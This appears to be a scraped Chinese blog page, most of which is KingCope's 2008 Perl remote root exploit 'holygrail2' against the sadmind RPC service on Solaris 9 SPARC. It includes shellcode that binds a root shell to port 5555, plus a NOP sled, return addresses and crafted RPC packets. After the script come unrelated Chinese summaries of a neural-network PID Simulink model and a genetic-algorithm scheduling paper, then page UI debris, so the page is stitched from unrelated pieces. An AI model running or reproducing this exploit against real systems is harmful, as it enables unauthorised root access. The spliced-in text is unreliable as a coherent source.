Solaris 9 [UltraSPARC] sadmind Remote Root Exploit

这是一个由KingCope在2008年编写的针对SunOS 5.9 [UltraSPARC]的sadmind远程Root权限漏洞利用脚本。它从HD-Moore和RISE-Security的漏洞利用中获取灵感,通过Perl实现,能够绑定到端口5555,提供shell访问。该脚本可能在未来扩展以支持Solaris 8/10/11。
 
#!/usr/bin/perl
# holygrail2                                                                      #
#---------------------------------------------------------------------------------#
# SunOS 5.9 [UltraSPARC] sadmind Remote Root Exploit by KingCope in 2008          #
#                                                                                 #
# Most of work was shamelessy ripped from HD-Moore  and RISE-Security exploits!!! #
# Bug found by RISE-Security.                                                     #
# Sparc exploit by KingCope [kcope2@googlemail.com]                               #
# Maybe I will extend this to Solaris 8/10/11 in futura ??                        #
# thanks to alex,andi,adize ...                                                   #
#                                                                                 #
###################################################################################

use strict;
use POSIX;
use IO::Socket;
use IO::Select;

print "holygrail2 vs. SunOS 5.9 sadmind/nby kcope in 2008/nbinds a shell to port 5555/n";
my $host = $ARGV[0];

if ($host eq "") {
	print "usage: perl holygrail2.pl <address>/n";
	exit(-1);
}

# solaris_sparc_bind -  LPORT=5555 Size=232 Encoder=Sparc http://metasploit.com
my $payload =
"/x23/x32/xde/xd7/xa2/x14/x62/x6f/x20/xbf/xff/xff/x20/xbf/xff/xff".
"/x7f/xff/xff/xff/xea/x03/xe0/x20/xaa/x9d/x40/x11/xea/x23/xe0/x20".
"/xa2/x04/x40/x15/x81/xdb/xe0/x20/x12/xbf/xff/xfb/x9e/x03/xe0/x04".
"/x57/x50/xfe/x68/xff/xb6/xde/x77/x69/xad/xde/x7c/x01/xcb/x1e/x89".
"/xbb/xfc/xbe/x8f/x2b/xec/x9e/x8d/xce/x1c/xfe/x77/x5f/xcc/xdf/x7f".
"/x8f/xce/xa0/x87/x11/x10/xdf/xf2/xf1/x04/xfe/x4f/x11/x06/xbe/x5f".
"/x11/x6b/x7e/x6b/x03/x4f/x21/x83/xb7/x80/x01/xb3/x35/xb0/x61/x5b".
"/xa8/x60/x42/x93/x1b/x83/x3d/x5b/x09/x94/x62/x9a/xaf/x84/x42/x75".
"/x3e/x74/xa3/x8d/x91/x77/x1c/x75/x83/x62/x23/x8c/x37/x80/xe3/x87".
"/xb5/xb4/xc3/x7d/x28/x65/x24/x89/x9b/xa6/x9b/x71/x8f/xb8/xc4/x82".
"/x3d/xa9/x24/x8d/xd5/x6b/x84/x8c/x54/x7b/xe4/xb0/xc9/xab/xc4/xc4".
"/xf8/xf3/xfb/x28/x2d/x0f/xbb/x28/x59/x15/x04/xc3/x40/x21/x5c/x49".
"/x22/x22/x7c/x03/x01/x41/xa2/x01/xd5/x75/xfb/xa5/x47/x5a/x5b/xcd".
"/x87/xa6/x24/x3d/x97/xfa/xe4/x45/xd7/xde/xa4/x49/x5a/x30/xfb/x8a".
"/xcb/xe0/xdb/xe4/xec/x01/x1b/xf4";

my $patchaddr = pack("N", 0xffbf83d8);
my $retaddr = pack("N", 0xffbf88e0);

sub nonblock {
    my ($fd) = @_;
    my $flags = fcntl($fd, F_GETFL,0);
    fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
}

sub rpc_read {
    my ($s) = @_;
    my $sel = IO::Select->new($s);
    my $res;
    my @fds = $sel->can_read(4);
    foreach (@fds) { $res .= <$s>; }
    return $res;
}

sub rpc_getport {
    my ($target_host, $target_port, $prog, $vers) = @_;
    
    my $s = rpc_socket($target_host, $target_port);

    my $portmap_req =
        
        pack("L", rand() * 0xffffffff) . # XID
        "/x00/x00/x00/x00".              # Call
        "/x00/x00/x00/x02".              # RPC Version
        "/x00/x01/x86/xa0".              # Program Number  (PORTMAP)
        "/x00/x00/x00/x02".              # Program Version (2)
        "/x00/x00/x00/x03".              # Procedure (getport)
        ("/x00" x 16).                   # Credentials and Verifier
        pack("N", $prog) .
        pack("N", $vers).
        pack("N", 0x11).                 # Protocol: UDP
        pack("N", 0x00);                 # Port: 0

    print $s $portmap_req;

    my $r = rpc_read($s);
    close ($s);
    
    if (length($r) == 28) 
    { 
        my $prog_port = unpack("N",substr($r, 24, 4));
        return($prog_port); 
    }
    
    return undef;
}

sub rpc_socket {
    my ($target_host, $target_port) = @_;
    my $s = IO::Socket::INET->new
    (
        PeerAddr => $target_host, 
        PeerPort => $target_port,
        Proto    => "udp",
        Type     => SOCK_DGRAM
    );

    if (! $s)
    {
        print "/nError: could not create socket to target: $!/n";
        exit(0);
    }

    select($s); $|++;
    select(STDOUT); $|++;
    nonblock($s);
    return($s);
}

sub rpc_sadmin_expl {
    my ($hostname, $command, $first) = @_;
    my $packed_host = $hostname . ("/x00" x (59 - length($hostname)));    
    
    my $rpc =
        pack("L", rand() * 0xffffffff) . # XID
        "/x00/x00/x00/x00".              # Call
        "/x00/x00/x00/x02".              # RPC Version
        "/x00/x01/x87/x88".              # Program Number  (SADMIND)
        "/x00/x00/x00/x0a".              # Program Version (10)
        "/x00/x00/x00/x01".              # Procedure
        "/x00/x00/x00/x01";              # Credentials (UNIX)
                                         # Auth Length is filled in

    # pad it up to multiples of 4
    my $rpc_hostname = $hostname;
    while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "/x00" }
    
    my $rpc_auth =
        # Time Stamp
        pack("N", time() + 20001) .

        # Machine Name
        pack("N", length($hostname)) . $rpc_hostname .

        "/x00/x00/x00/x00".              # UID = 0
        "/x00/x00/x00/x00".              # GID = 0
        "/x00/x00/x00/x00";              # No Extra Groups  


    $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("/x00" x 8);

    my $fp = pack("N", 0xffbf9108);
    my $buf1 = "/x90" x (2050-length($payload)-500) . $payload . "/x90/x90" . "/x90" x 500 . "CC" . $fp . $fp . $retaddr x 100;

    if ($first eq 1) {
	$buf1 = "/x90" x 50;
    }

    while (length($buf1) % 4 != 0) { $buf1 .= "/x00" }

    my $header =
    
    # Another Time Stamp
    reverse(pack("L", time() + 20005)) .

    "/x00/x07/x45/xdf".
    
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x06".
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    "/x00/x00/x00/x04/x00/x00/x00/x00/x00/x00/x00/x04".
    
    "/x7f/x00/x00/x01".                 # 127.0.0.1
    "/x00/x01/x87/x88".                 # SADMIND
    
    "/x00/x00/x00/x0a/x00/x00/x00/x04".
    
    "/x7f/x00/x00/x01".                 # 127.0.0.1
    "/x00/x01/x87/x88".                 # SADMIND

    "/x00/x00/x00/x0a/x00/x00/x00/x11/x00/x00/x00/x1e".
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    "/x00/x00/x00/x00".

    "/x00/x00/x00/x3b". $packed_host.

    "/x00/x00/x00/x00/x06" . "system".
    
    "/x00/x00/x00/x00/x00/x15". "../../../../../bin/sh". "/x00/x00/x00";
    
    # Append Body Length ^-- Here

    my $body = 
    "/x00/x00/x00/x0e". "ADM_FW_VERSION".
    "/x00/x00/x00/x00/x00/x03/x00/x00/x00/x04/x00/x00".
    "/x00/x01/x00/x00/x00/x00/x00/x00/x00/x00".
    
    "/x00/x00/x00/x08". "ADM_LANG".
    "/x00/x00/x00/x09/x00/x00/x00/x02/x00/x00".
    "/x00/x01". "C" . 
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    
    "/x00/x00/x00/x0d". "ADM_REQUESTID".
    "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x12/x00/x00/x00/x11".
    "00009:000000000:0"."/x00/x00/x00".
    "/x00/x00/x00/x00/x00/x00/x00/x00".

    "/x00/x00/x00/x09". "ADM_CLASS".
    "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x07".
    "/x00/x00/x00/x06" . "system" .
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    
    
    "/x00/x00/x00/x0e" . "ADM_CLASS_VERS" .
    "/x00/x00/x00/x00/x00/x09/x00/x00/x00/x04".
    "/x00/x00/x00/x03". "2.1".
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    
    
    "/x00/x00/x00/x0a" . "ADM_METHOD" . 
    "/x00/x00/x00/x00/x00/x09" . pack("N", length($buf1)+1) . pack("N", length($buf1)) . $buf1 . 
    "/x00/x00/x00/x00/x00/x00/x00/x00".
    
    "/x00/x00/x00/x08". "ADM_HOST" .
    "/x00/x00/x00/x09/x00/x00/x00/x3c/x00/x00/x00/x3b".
    $packed_host.

    "/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    "/x00/x00/x00/x0f". "ADM_CLIENT_HOST".
    "/x00/x00/x00/x00/x09".
    
    pack("N", length($hostname) + 1) .
    pack("N", length($hostname)) .
    $rpc_hostname .
    "/x00/x00/x00/x00". "/x00/x00/x00/x00".
    
    "/x00/x00/x00/x11" . "ADM_CLIENT_DOMAIN".
    "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x01/x00/x00/x00/x00/x00/x00".
    "/x00/x00/x00/x00/x00/x00".
    
    "/x00/x00/x00/x11" . "ADM_TIMEOUT_PARMS".
    "/x00/x00/x00/x00/x00".
    "/x00/x09/x00/x00/x00/x1c".
    "/x00/x00/x00/x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    
    
    "/x00/x00/x00/x09" . "ADM_FENCE" .
    "/x00/x00/x00/x00/x00/x00/x09/x00/x00/x00/x00/x00/x00/x00/x00/x00".
    "/x00/x00/x00/x00/x00/x00/x01/x58/x00/x00/x00/x00/x00/x00/x09/x00".
    "/x00/x00/x03/x00/x00/x00/x02" . "-c" .
    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x01/x59/x00".
    "/x00/x00/x00/x00/x00/x09/x00/x00/x02/x01/x00/x00/x02/x00".

    $command . ("/x00" x (512 - length($command))).

    "/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x10".
    "netmgt_endofargs";

    my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;

    return($res);

}

$|=1;

my $portmap = "111";
for (my $i=1;$i<3;$i++) {
my $target_port = rpc_getport($host, $portmap, 100232, 10);
if (! $target_port)
{
    print STDERR "Error: could not determine port used by sadmind/n";
    exit(0);
}

my $s = rpc_socket($host, $target_port);
my $x = rpc_sadmin_expl("localhost", "foo", $i);
print $s $x;
my $r = rpc_read($s);
close ($s);
}

提供了基于BP(Back Propagation)神经网络结合PID(比例-积分-微分)控制策略的Simulink仿真模型。该模型旨在实现对杨艺所著论文《基于S函数的BP神经网络PID控制器及Simulink仿真》中的理论进行实践验证。在Matlab 2016b环境下开发,经过测试,确保能够正常运行,适合学习和研究神经网络在控制系统中的应用。 特点 集成BP神经网络:模型中集成了BP神经网络用于提升PID控制器的性能,使之能更好地适应复杂控制环境。 PID控制优化:利用神经网络的自学习能力,对传统的PID控制算法进行了智能调整,提高控制精度和稳定性。 S函数应用:展示了如何在Simulink中通过S函数嵌入MATLAB代码,实现BP神经网络的定制化逻辑。 兼容性说明:虽然开发于Matlab 2016b,但理论上兼容后续版本,可能会需要调整少量配置以适配不同版本的Matlab。 使用指南 环境要求:确保你的电脑上安装有Matlab 2016b或更高版本。 模型加载: 下载本仓库到本地。 在Matlab中打开.slx文件。 运行仿真: 调整模型参数前,请先熟悉各模块功能和输入输出设置。 运行整个模型,观察控制效果。 参数调整: 用户可以自由调节神经网络的层数、节点数以及PID控制器的参数,探索不同的控制性能。 学习和修改: 通过阅读模型中的注释和查阅相关文献,加深对BP神经网络与PID控制结合的理解。 如需修改S函数内的MATLAB代码,建议有一定的MATLAB编程基础。
基于遗传算法的新的异构分布式系统任务调度算法研究(Matlab代码实现)内容概要:本文研究了一种基于遗传算法的新型异构分布式系统任务调度算法,并提供了Matlab代码实现。文章重点围绕异构环境中任务调度的优化问题,利用遗传算法进行求解,旨在提高资源利用率、降低任务完成时间并优化系统整体性能。文中详细阐述了算法的设计思路、编码方式、适应度函数构建、遗传操作流程及参数设置,并通过仿真实验验证了该算法相较于传统方法在调度效率和收敛性方面的优越性。此外,文档还列举了大量相关领域的研究案例和技术应用,涵盖电力系统、路径规划、车间调度、信号处理等多个方向,体现出较强的技术综合性与实践价值。; 适合人群:具备一定编程基础和优化算法知识的研究生、科研人员及从事智能优化、分布式系统调度、电力系统、自动化等相关领域的工程技术人员。; 使用场景及目标:①解决异构分布式系统中的任务调度优化问题;②学习遗传算法在实际工程问题中的建模与实现方法;③为科研项目提供算法参考与代码复现支持;④拓展多领域交叉应用的研究思路。; 阅读建议:建议读者结合Matlab代码深入理解算法实现细节,重点关注适应度函数设计与遗传操作流程,并尝试在不同场景下调整参数以观察性能变化。同时可参考文中列出的相关研究方向进行延伸探索,提升综合应用能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值